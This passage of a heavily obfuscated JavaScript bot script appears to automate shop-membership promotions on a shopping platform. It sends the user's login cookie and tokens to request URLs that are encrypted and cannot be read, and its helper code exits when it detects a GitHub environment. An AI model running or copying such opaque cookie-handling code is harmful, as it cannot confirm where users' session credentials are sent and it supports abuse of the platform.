_0x5d1cc3[_0x5a60('1fb','G6hQ')](_0x9cfd2d,_0x3d19ca);},'sXtGY':_0x5d1cc3[_0x5a60('1fc',')pbK')],'zvPhg':_0x5d1cc3[_0x5a60('1fd','X2Mx')]};$[_0x5a60('1fe','Y^r#')]({'url':_0x5a60('1ff',')qW%'),'body':_0x5d1cc3[_0x5a60('200','aU(%')],'headers':{'User-Agent':_0x5d1cc3[_0x5a60('201','$dtR')],'Content-Type':_0x5d1cc3[_0x5a60('202','yb5M')],'Host':_0x5d1cc3[_0x5a60('203','AX!A')],'Referer':_0x5d1cc3[_0x5a60('204','OMx0')],'Cookie':cookie}},async(_0x1cc911,_0x1f79a3,_0x485cf7)=>{var _0x23cc50={'DTmxM':function(_0x26d276,_0x1b165e){return _0x5df245[_0x5a60('205','Y^r#')](_0x26d276,_0x1b165e);}};if(_0x5df245[_0x5a60('206','CEjU')](_0x5df245[_0x5a60('207','Sr&T')],_0x5df245[_0x5a60('208','5ot1')])){try{if(_0x1cc911){console[_0x5a60('209','w1ew')](''+JSON[_0x5a60('20a','W]5P')](_0x1cc911));console[_0x5a60('20b','8nw!')]($[_0x5a60('1db','c1V$')]+_0x5a60('20c','#JkU'));}else{if(_0x5df245[_0x5a60('20d','iKwG')](_0x5df245[_0x5a60('20e','Ah&A')],_0x5df245[_0x5a60('20f','[YW)')])){$[_0x5a60('210','OMx0')]=$[_0x5a60('211','4$OM')];}else{_0x485cf7=JSON[_0x5a60('212','5ot1')](_0x485cf7);}}}catch(_0x278dba){if(_0x5df245[_0x5a60('213','uq%7')](_0x5df245[_0x5a60('214',')t^^')],_0x5df245[_0x5a60('215','dbYj')])){if(_0x1cc911){console[_0x5a60('216','$dtR')]($[_0x5a60('217','8nw!')]+_0x5a60('218','K&]P'));}else{$[_0x5a60('1d9','Y^r#')](_0x485cf7);}}else{$[_0x5a60('219','5phg')](_0x278dba,_0x1f79a3);}}finally{_0x5df245[_0x5a60('21a','X2Mx')](_0x1f9bbc,_0x485cf7[_0x5a60('21b','m#6r')]);}}else{_0x23cc50[_0x5a60('21c','G6hQ')](_0x1f9bbc,_0x485cf7);}});});}function getMyPing(){var _0x3b23be={'azprF':function(_0xfc566f,_0x90a409){return _0xfc566f+_0x90a409;},'qarVg':_0x5a60('21d','aU(%'),'vsipr':function(_0x48fda7,_0x159b01){return _0x48fda7(_0x159b01);},'poVEd':_0x5a60('21e','3peq'),'okblk':_0x5a60('21f','gtM%'),'Cqwjl':function(_0x5f409a,_0x4d8de4){return _0x5f409a!==_0x4d8de4;},'RLZVk':_0x5a60('220','iKwG'),'UUHiY':_0x5a60('221','K&]P'),'pOnCP':_0x5a60('222',')*PN'),'nJvaA':_0x5a60('223','8nw!'),'JRmCb':_0x5a60('224','t@Ez'),'rVngL':_0x5a60('225','@GjN')};return new Promise(_0x392ef9=>{var _0x484668={'OHaXT':function(_0xa2785f,_0x38f7e5){return _0x3b23be[_0x5a60('226',')pbK')](_0xa2785f,_0x38f7e5);},'wOdhk':_0x3b23be[_0x5a60('227','3peq')],'EKctu':_0x3b23be[_0x5a60('228','c1V$')],'cIqtJ':function(_0x35926a,_0x434e2a){return _0x3b23be[_0x5a60('229',')pbK')](_0x35926a,_0x434e2a);},'TLfFE':_0x3b23be[_0x5a60('22a','AX!A')],'gClwm':_0x3b23be[_0x5a60('22b','wt%o')]};if(_0x3b23be[_0x5a60('22c',')*PN')](_0x3b23be[_0x5a60('22d','qaWF')],_0x3b23be[_0x5a60('22e','m#6r')])){$[_0x5a60('111','qaWF')](_0x3b23be[_0x5a60('22f','#Nc6')](_0x3b23be[_0x5a60('230','BQFL')],checkOpenCardData[_0x5a60('231','(o3G')]));}else{$[_0x5a60('232','kD)G')]({'url':_0x5a60('233',')t^^'),'body':_0x5a60('234','c1V$')+$[_0x5a60('235','$dtR')]+_0x5a60('236','kD)G'),'headers':{'User-Agent':_0x5a60('237','#Nc6'),'Content-Type':_0x3b23be[_0x5a60('238',')pbK')],'Host':_0x3b23be[_0x5a60('239','t@Ez')],'Referer':_0x3b23be[_0x5a60('23a','5ot1')],'Cookie':_0x5a60('23b','dbYj')+$[_0x5a60('23c','W]5P')]+_0x5a60('23d','(o3G')+$[_0x5a60('23e','8nw!')]+';'}},async(_0x4c7b2b,_0x5e3bec,_0xd9fc)=>{try{if(_0x4c7b2b){console[_0x5a60('1d9','Y^r#')](''+JSON[_0x5a60('23f','CEjU')](_0x4c7b2b));console[_0x5a60('240','Sfa)')]($[_0x5a60('11c','#JkU')]+_0x5a60('187',')*PN'));}else{_0xd9fc=JSON[_0x5a60('241','w1ew')](_0xd9fc);$[_0x5a60('242','3peq')]=_0x5e3bec[_0x484668[_0x5a60('243','iZ7k')]][_0x484668[_0x5a60('244','qaWF')]][_0x5a60('245',')*PN')](_0x33b4ec=>_0x33b4ec[_0x5a60('246',')t^^')](_0x5a60('247','AX!A'))!==-0x1)[0x0];}}catch(_0x4045ed){$[_0x5a60('248','VCRo')](_0x4045ed,_0x5e3bec);}finally{if(_0x484668[_0x5a60('249','71SK')](_0x484668[_0x5a60('24a','G6hQ')],_0x484668[_0x5a60('24b','w1ew')])){_0x484668[_0x5a60('24c','VCRo')](_0x392ef9,_0xd9fc[_0x5a60('6e','(o3G')]);}else{_0x484668[_0x5a60('24d','G6hQ')](_0x392ef9,_0xd9fc);}}});}});}function getHtml(){var _0x39dd37={'ZOXBJ':function(_0x1e36b5,_0x24a087){return _0x1e36b5!==_0x24a087;},'HnGJd':_0x5a60('24e','iZ7k'),'ktttK':function(_0x47a9e6,_0x1bf6a3){return _0x47a9e6===_0x1bf6a3;},'WfToP':_0x5a60('24f','OMx0'),'bAmbP':function(_0x2c0e4b,_0x2f453d){return _0x2c0e4b(_0x2f453d);},'egGRH':_0x5a60('250','e157'),'dRZKA':_0x5a60('251','iZ7k')};return new Promise(_0x1f905f=>{var _0x3280d9={'dHrnc':function(_0x2313aa,_0x336173){return _0x39dd37[_0x5a60('252','6b9s')](_0x2313aa,_0x336173);},'awjEE':_0x39dd37[_0x5a60('253','5ot1')],'oyrHT':function(_0x845498,_0x5181e4){return _0x39dd37[_0x5a60('254','@GjN')](_0x845498,_0x5181e4);},'DshXq':_0x39dd37[_0x5a60('255',')t^^')],'OaZvc':function(_0x38e5e8,_0x438a6e){return _0x39dd37[_0x5a60('256','dbYj')](_0x38e5e8,_0x438a6e);}};$[_0x5a60('257','@GjN')]({'url':_0x5a60('258','wt%o')+($[_0x5a60('259','X2Mx')]?$[_0x5a60('25a','kD)G')]:_0x39dd37[_0x5a60('25b','e157')])+_0x5a60('25c','qaWF'),'headers':{'User-Agent':_0x5a60('25d','3peq'),'Host':_0x39dd37[_0x5a60('25e','w1ew')],'Cookie':_0x5a60('25f','Sr&T')+$[_0x5a60('260','5ot1')]+_0x5a60('261','uq%7')+$[_0x5a60('262','qaWF')]+_0x5a60('263','OMx0')+$[_0x5a60('51','5ot1')]+_0x5a60('264','8nw!')+$[_0x5a60('265','8nw!')]+';\x20'+$[_0x5a60('266','m#6r')]+_0x5a60('267','8nw!')}},async(_0x340bd7,_0x3131f3,_0x57ce94)=>{if(_0x3280d9[_0x5a60('268','qaWF')](_0x3280d9[_0x5a60('269',')pbK')],_0x3280d9[_0x5a60('26a','dbYj')])){console[_0x5a60('26b','m#6r')](''+JSON[_0x5a60('26c','dbYj')](_0x340bd7));console[_0x5a60('67','iKwG')]($[_0x5a60('1ea','71SK')]+_0x5a60('114','W]5P'));}else{try{if(_0x340bd7){if(_0x3280d9[_0x5a60('26d','gtM%')](_0x3280d9[_0x5a60('26e',')pbK')],_0x3280d9[_0x5a60('26f','5ot1')])){console[_0x5a60('270','H2m0')](''+JSON[_0x5a60('271','yb5M')](_0x340bd7));console[_0x5a60('272','#g@V')]($[_0x5a60('273','Ah&A')]+_0x5a60('274','yb5M'));}else{if(_0x340bd7){console[_0x5a60('275','wt%o')](''+JSON[_0x5a60('276','8nw!')](_0x340bd7));console[_0x5a60('277','Sr&T')]($[_0x5a60('278',')*PN')]+_0x5a60('279','c1V$'));}else{_0x57ce94=JSON[_0x5a60('27a','gtM%')](_0x57ce94);}}}else{}}catch(_0x2a033e){$[_0x5a60('118','Ah&A')](_0x2a033e,_0x3131f3);}finally{_0x3280d9[_0x5a60('27b','Y^r#')](_0x1f905f,_0x57ce94);}}});});}function adLog(){var _0x3deb5b={'nVNiQ':function(_0x268b61,_0x46b5b2){return _0x268b61!==_0x46b5b2;},'YFEmd':_0x5a60('27c','H2m0'),'RlKDo':_0x5a60('27d','H2m0'),'tfEEg':function(_0x362a43,_0x581bdf){return _0x362a43===_0x581bdf;},'fEegq':_0x5a60('27e','OMx0'),'yppLT':function(_0x495671,_0x349ad0){return _0x495671(_0x349ad0);},'oqtXJ':function(_0x4ff76b,_0x1912c9){return _0x4ff76b(_0x1912c9);},'FeWbR':_0x5a60('27f','5phg'),'SSSBR':_0x5a60('280',')pbK'),'EEajS':_0x5a60('281','W]5P'),'ZPAOL':_0x5a60('282','X2Mx')};return new Promise(_0x20aa07=>{$[_0x5a60('283','$dtR')]({'url':_0x5a60('284','4$OM'),'body':_0x5a60('285','B%EL')+_0x3deb5b[_0x5a60('286',')qW%')](encodeURIComponent,$[_0x5a60('287','wt%o')][_0x5a60('288','t@Ez')])+_0x5a60('289',')qW%')+($[_0x5a60('d3','t@Ez')]?$[_0x5a60('28a','8z%N')]:_0x3deb5b[_0x5a60('28b','c1V$')])+_0x5a60('28c','AX!A'),'headers':{'User-Agent':_0x5a60('28d','4$OM'),'Host':_0x3deb5b[_0x5a60('28e','X2Mx')],'Content-Type':_0x3deb5b[_0x5a60('28f','Ah&A')],'Referer':_0x3deb5b[_0x5a60('290','uq%7')],'Cookie':_0x5a60('291','#g@V')+$[_0x5a60('4e','Sfa)')]+_0x5a60('292','4$OM')+$[_0x5a60('293',')*PN')]+_0x5a60('294','@GjN')+$[_0x5a60('5a','Sr&T')][_0x5a60('295','@GjN')]+';\x20'+$[_0x5a60('296','VCRo')]}},async(_0x2c5fb3,_0x480a31,_0x4972a9)=>{if(_0x3deb5b[_0x5a60('297',')qW%')](_0x3deb5b[_0x5a60('298','iKwG')],_0x3deb5b[_0x5a60('299','CEjU')])){try{if(_0x2c5fb3){if(_0x3deb5b[_0x5a60('29a','#Nc6')](_0x3deb5b[_0x5a60('29b','@GjN')],_0x3deb5b[_0x5a60('29c','(o3G')])){console[_0x5a60('20b','8nw!')](''+JSON[_0x5a60('29d',')pbK')](_0x2c5fb3));console[_0x5a60('10d','Ah&A')]($[_0x5a60('29e','8z%N')]+_0x5a60('218','K&]P'));}else{_0x4972a9=JSON[_0x5a60('29f','m#6r')](_0x4972a9);}}else{}}catch(_0x38559){$[_0x5a60('f3','H2m0')](_0x38559,_0x480a31);}finally{_0x3deb5b[_0x5a60('2a0','yb5M')](_0x20aa07,_0x4972a9);}}else{$[_0x5a60('2a1','#JkU')](_0x4972a9[_0x5a60('2a2','AX!A')]);}});});}function getActorUuid(){var _0x2f5fd3={'IENDF':function(_0x607d58,_0x2424fb){return _0x607d58+_0x2424fb;},'BCpeJ':function(_0x255715,_0x5b6106){return _0x255715+_0x5b6106;},'WSqWl':_0x5a60('1b8','iKwG'),'thuhy':_0x5a60('2a3','Ah&A'),'EqeVn':_0x5a60('2a4','Y^r#'),'pOGkY':_0x5a60('2a5','8z%N'),'rabax':_0x5a60('2a6',')t^^'),'rppyg':_0x5a60('2a7','iKwG'),'PgyBk':_0x5a60('2a8','c1V$'),'uEpMl':_0x5a60('2a9','wt%o'),'sJFKC':_0x5a60('2aa','*^t1'),'xlyUW':_0x5a60('2ab','Sfa)'),'kMELz':function(_0x57a5ec,_0x305773){return _0x57a5ec===_0x305773;},'DXxjl':_0x5a60('2ac','Sr&T'),'Nrizt':_0x5a60('2ad','VCRo'),'KYCOR':function(_0x525bd7,_0x1d8475){return _0x525bd7!==_0x1d8475;},'iSJKf':_0x5a60('2ae','Sfa)'),'FcTmc':_0x5a60('2af','#Nc6'),'nzVJi':_0x5a60('2b0','Y^r#'),'DfpUW':_0x5a60('2b1','X2Mx'),'BhlZm':function(_0x5d050e,_0x137e01){return _0x5d050e(_0x137e01);},'lBSOW':function(_0x1543e2,_0x267152){return _0x1543e2(_0x267152);},'UcfYE':_0x5a60('2b2','@GjN')};return new Promise(_0x12694a=>{var _0x1b59ed={'sYNZY':function(_0x135b6a,_0x4acf94){return _0x2f5fd3[_0x5a60('2b3','@GjN')](_0x135b6a,_0x4acf94);},'AZwJQ':function(_0x52e717,_0x389a68){return _0x2f5fd3[_0x5a60('2b4','8nw!')](_0x52e717,_0x389a68);},'uwktq':_0x2f5fd3[_0x5a60('2b5','4$OM')],'RsNIv':_0x2f5fd3[_0x5a60('2b6','BQFL')],'JPKIh':_0x2f5fd3[_0x5a60('2b7','4$OM')],'vtMVw':_0x2f5fd3[_0x5a60('2b8','8z%N')],'BUPTW':_0x2f5fd3[_0x5a60('2b9','VCRo')],'CdRaP':_0x2f5fd3[_0x5a60('2ba','X2Mx')],'ebbxa':_0x2f5fd3[_0x5a60('2bb',')qW%')],'FWanl':_0x2f5fd3[_0x5a60('2bc','uq%7')],'tFFYZ':_0x2f5fd3[_0x5a60('2bd','(o3G')],'faLac':_0x2f5fd3[_0x5a60('2be',')qW%')],'CFrbv':function(_0x3b49e5,_0x12ca7d){return _0x2f5fd3[_0x5a60('2bf','$dtR')](_0x3b49e5,_0x12ca7d);},'hlPHD':_0x2f5fd3[_0x5a60('2c0','kD)G')],'KEVrq':_0x2f5fd3[_0x5a60('2c1','aU(%')],'slMNs':function(_0x45ff23,_0x3a68db){return _0x2f5fd3[_0x5a60('2c2','c1V$')](_0x45ff23,_0x3a68db);},'BSRzS':_0x2f5fd3[_0x5a60('2c3','71SK')],'ilNkO':_0x2f5fd3[_0x5a60('2c4','iKwG')],'XNdmE':_0x2f5fd3[_0x5a60('2c5','[YW)')],'osnQF':function(_0x14535a,_0xcd3e0){return _0x2f5fd3[_0x5a60('2c6','BQFL')](_0x14535a,_0xcd3e0);},'dcvSN':_0x2f5fd3[_0x5a60('2c7','c1V$')],'cVgAV':function(_0x259c58,_0x50355c){return _0x2f5fd3[_0x5a60('2c8','Y^r#')](_0x259c58,_0x50355c);}};$[_0x5a60('2c9','#Nc6')]({'url':_0x5a60('2ca','Sfa)'),'body':_0x5a60('2cb','X2Mx')+_0x2f5fd3[_0x5a60('2cc','w1ew')](encodeURIComponent,$[_0x5a60('2cd','4$OM')][_0x5a60('2ce','e157')])+_0x5a60('2cf','c1V$')+_0x2f5fd3[_0x5a60('2d0','G6hQ')](encodeURIComponent,$[_0x5a60('2d1','BQFL')][_0x5a60('2d2','kD)G')])+_0x5a60('2d3','BQFL')+($[_0x5a60('103','5phg')]?$[_0x5a60('2d4','G6hQ')]:_0x2f5fd3[_0x5a60('2d5','kD)G')]),'headers':{'User-Agent':_0x5a60('2d6','Ah&A'),'Host':_0x2f5fd3[_0x5a60('2d7','4$OM')],'Content-Type':_0x2f5fd3[_0x5a60('2d8',')t^^')],'Referer':_0x2f5fd3[_0x5a60('2d9','Y^r#')],'Cookie':_0x5a60('2da','(o3G')+$[_0x5a60('2db','t@Ez')]+_0x5a60('2dc','K&]P')+$[_0x5a60('2dd','AX!A')]+_0x5a60('2de','H2m0')+$[_0x5a60('149','B%EL')][_0x5a60('2df','gtM%')]+';\x20'+$[_0x5a60('2e0','Sr&T')]}},async(_0x3ba881,_0x15530c,_0x37d113)=>{var _0x2a6407={'fCGIn':function(_0x4e09e0,_0x1d208a){return _0x1b59ed[_0x5a60('2e1','K&]P')](_0x4e09e0,_0x1d208a);},'InvPP':function(_0x77bddb,_0x1f22fa){return _0x1b59ed[_0x5a60('2e2','71SK')](_0x77bddb,_0x1f22fa);},'hJFqj':_0x1b59ed[_0x5a60('2e3','c1V$')],'bxKkV':_0x1b59ed[_0x5a60('2e4','yb5M')],'QnzBG':_0x1b59ed[_0x5a60('2e5','uq%7')],'AFyvH':_0x1b59ed[_0x5a60('2e6','4$OM')],'tqnEx':_0x1b59ed[_0x5a60('2e7','X2Mx')],'LavpH':_0x1b59ed[_0x5a60('2e8','aU(%')],'QBkJK':_0x1b59ed[_0x5a60('2e9','6b9s')],'jbuCF':_0x1b59ed[_0x5a60('2ea','$dtR')],'xloBG':_0x1b59ed[_0x5a60('2eb','Ah&A')],'GXCOY':_0x1b59ed[_0x5a60('2ec','c1V$')]};if(_0x1b59ed[_0x5a60('2ed','K&]P')](_0x1b59ed[_0x5a60('2ee','Y^r#')],_0x1b59ed[_0x5a60('2ef','Sfa)')])){$[_0x5a60('2f0','VCRo')](_0x2a6407[_0x5a60('2f1','4$OM')](_0x2a6407[_0x5a60('2f2','gtM%')](_0x2a6407[_0x5a60('2f3','$dtR')],_0x37d113[_0x5a60('2f4','e157')][_0x5a60('2f5','wt%o')]),'\x20个'));}else{try{if(_0x3ba881){if(_0x1b59ed[_0x5a60('2f6','iZ7k')](_0x1b59ed[_0x5a60('2f7','[YW)')],_0x1b59ed[_0x5a60('2f8','c1V$')])){console[_0x5a60('2f9','aU(%')](''+JSON[_0x5a60('2fa','B%EL')](_0x3ba881));console[_0x5a60('87','3peq')]($[_0x5a60('2fb','*^t1')]+_0x5a60('2fc','5phg'));}else{$[_0x5a60('2fd','m#6r')](e,_0x15530c);}}else{if(_0x37d113){if(_0x1b59ed[_0x5a60('2fe',')qW%')](_0x1b59ed[_0x5a60('2ff','e157')],_0x1b59ed[_0x5a60('300','Ah&A')])){_0x37d113=JSON[_0x5a60('212','5ot1')](_0x37d113);}else{$[_0x5a60('301','t@Ez')](e,_0x15530c);}}}}catch(_0x2afbdc){if(_0x1b59ed[_0x5a60('302','B%EL')](_0x1b59ed[_0x5a60('303','4$OM')],_0x1b59ed[_0x5a60('304','Sfa)')])){return{'url':_0x5a60('305','B%EL')+url,'body':body,'headers':{'Host':_0x2a6407[_0x5a60('306','uq%7')],'Accept':_0x2a6407[_0x5a60('307','qaWF')],'X-Requested-With':_0x2a6407[_0x5a60('308','K&]P')],'Accept-Language':_0x2a6407[_0x5a60('309','(o3G')],'Accept-Encoding':_0x2a6407[_0x5a60('30a','e157')],'Content-Type':_0x2a6407[_0x5a60('30b','#JkU')],'Origin':_0x2a6407[_0x5a60('30c','Sr&T')],'Connection':_0x2a6407[_0x5a60('30d','aU(%')],'Referer':referer?referer:_0x5a60('30e','e157')+($[_0x5a60('30f',')*PN')]?$[_0x5a60('310','wt%o')]:_0x2a6407[_0x5a60('311','dbYj')])+_0x5a60('312','8nw!'),'User-Agent':UA,'Cookie':cookie+_0x5a60('313','CEjU')+$[_0x5a60('314','uq%7')]+_0x5a60('315','dbYj')+$[_0x5a60('316','H2m0')]+_0x5a60('317','#JkU')+$[_0x5a60('318','71SK')][_0x5a60('319','3peq')]+';\x20'+$[_0x5a60('31a','[YW)')]}};}else{$[_0x5a60('2fd','m#6r')](_0x2afbdc,_0x15530c);}}finally{_0x1b59ed[_0x5a60('31b','CEjU')](_0x12694a,_0x37d113);}}});});}function checkOpenCard(){var _0x34b52c={'SHUbZ':function(_0x2e079d,_0x2d9c71){return _0x2e079d(_0x2d9c71);},'nUJUz':function(_0x48f5d7,_0x476fb5){return _0x48f5d7===_0x476fb5;},'gaoKr':_0x5a60('31c',')*PN'),'QyObO':function(_0x3bf2cd,_0x5e5864){return _0x3bf2cd===_0x5e5864;},'eCHnH':_0x5a60('31d','#JkU'),'vswvj':function(_0x11a4f2,_0x1f8e35){return _0x11a4f2===_0x1f8e35;},'ZEDJO':_0x5a60('31e','c1V$'),'xJrMT':_0x5a60('31f','gtM%'),'qJcHP':function(_0x1aacdd,_0x202981){return _0x1aacdd+_0x202981;},'rVmdY':function(_0x3d72a4,_0x14b8ae){return _0x3d72a4+_0x14b8ae;},'itMgk':_0x5a60('320','#Nc6'),'ZerYB':function(_0x1eeb55,_0x2885c3){return _0x1eeb55(_0x2885c3);},'MExrs':function(_0x10d8fa,_0x116d08,_0x2e3f75,_0x243f41){return _0x10d8fa(_0x116d08,_0x2e3f75,_0x243f41);},'ZWhcb':_0x5a60('321','Y^r#'),'ipFrK':_0x5a60('322','@GjN')};return new Promise(_0x5f5266=>{let _0x5561ef=_0x5a60('323',')*PN')+$[_0x5a60('324','c1V$')]+_0x5a60('325','*^t1')+$[_0x5a60('326','m#6r')]+_0x5a60('327',')qW%')+_0x34b52c[_0x5a60('328','wt%o')](encodeURIComponent,$[_0x5a60('329','#Nc6')][_0x5a60('32a','Sfa)')]);$[_0x5a60('32b','#JkU')](_0x34b52c[_0x5a60('32c',')pbK')](taskPostUrl,_0x34b52c[_0x5a60('32d','Sr&T')],_0x5561ef,_0x34b52c[_0x5a60('32e','m#6r')]),async(_0x59820d,_0x414346,_0x54d7f4)=>{var _0xb32825={'qEjyZ':function(_0x50d41f,_0x727b1e){return _0x34b52c[_0x5a60('32f','W]5P')](_0x50d41f,_0x727b1e);}};try{if(_0x34b52c[_0x5a60('330','8z%N')](_0x34b52c[_0x5a60('331','yb5M')],_0x34b52c[_0x5a60('332','K&]P')])){if(_0x59820d){if(_0x34b52c[_0x5a60('333','AX!A')](_0x34b52c[_0x5a60('334','aU(%')],_0x34b52c[_0x5a60('335','8z%N')])){console[_0x5a60('336','K&]P')]($[_0x5a60('2fb','*^t1')]+_0x5a60('337','iZ7k'));}else{$[_0x5a60('119','e157')](_0x54d7f4[_0x5a60('338','B%EL')]);}}else{if(_0x34b52c[_0x5a60('339','8nw!')](_0x34b52c[_0x5a60('33a','uq%7')],_0x34b52c[_0x5a60('33b','B%EL')])){_0xb32825[_0x5a60('33c','B%EL')](_0x5f5266,_0x54d7f4[_0x5a60('33d','#Nc6')]);}else{_0x54d7f4=JSON[_0x5a60('1dd','Ah&A')](_0x54d7f4);if(_0x54d7f4&&_0x54d7f4[_0x5a60('2f4','e157')]){$[_0x5a60('33e','dbYj')](_0x34b52c[_0x5a60('33f',')pbK')](_0x34b52c[_0x5a60('340','*^t1')](_0x34b52c[_0x5a60('341','5phg')],_0x54d7f4[_0x5a60('342','W]5P')][_0x5a60('343','Sr&T')]),'\x20个'));}}}}else{$[_0x5a60('344','K&]P')](e,_0x414346);}}catch(_0xa5c792){_0x54d7f4={'data':{'nowScore':0x32}};$[_0x5a60('118','Ah&A')](_0xa5c792,_0x414346);}finally{_0x34b52c[_0x5a60('345','OMx0')](_0x5f5266,_0x54d7f4);}});});}function taskPostUrl(_0x2cc369,_0x5f0a0b,_0x3280cc){var _0x3120fa={'knUQW':_0x5a60('346','VCRo'),'tPnoL':_0x5a60('347','71SK'),'CJeTv':_0x5a60('348','wt%o'),'gDSmK':_0x5a60('349','B%EL'),'hQDRq':_0x5a60('34a','[YW)'),'pQfZl':_0x5a60('34b','[YW)'),'MvVCO':_0x5a60('34c','8z%N'),'cygqW':_0x5a60('34d','Sr&T'),'eBXDd':_0x5a60('34e','Ah&A')};return{'url':_0x5a60('34f',')*PN')+_0x2cc369,'body':_0x5f0a0b,'headers':{'Host':_0x3120fa[_0x5a60('350','yb5M')],'Accept':_0x3120fa[_0x5a60('351','c1V$')],'X-Requested-With':_0x3120fa[_0x5a60('352','BQFL')],'Accept-Language':_0x3120fa[_0x5a60('353','Sfa)')],'Accept-Encoding':_0x3120fa[_0x5a60('354','6b9s')],'Content-Type':_0x3120fa[_0x5a60('355','W]5P')],'Origin':_0x3120fa[_0x5a60('356','(o3G')],'Connection':_0x3120fa[_0x5a60('357','CEjU')],'Referer':_0x3280cc?_0x3280cc:_0x5a60('358','K&]P')+($[_0x5a60('359','iKwG')]?$[_0x5a60('35a','8nw!')]:_0x3120fa[_0x5a60('35b',')*PN')])+_0x5a60('35c','wt%o'),'User-Agent':UA,'Cookie':cookie+_0x5a60('35d','8nw!')+$[_0x5a60('35e','#g@V')]+_0x5a60('35f','#Nc6')+$[_0x5a60('50','#g@V')]+_0x5a60('360','*^t1')+$[_0x5a60('361','Ah&A')][_0x5a60('362','yb5M')]+';\x20'+$[_0x5a60('363','@GjN')]}};};_0xodk='jsjiami.com.v6'; - - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const 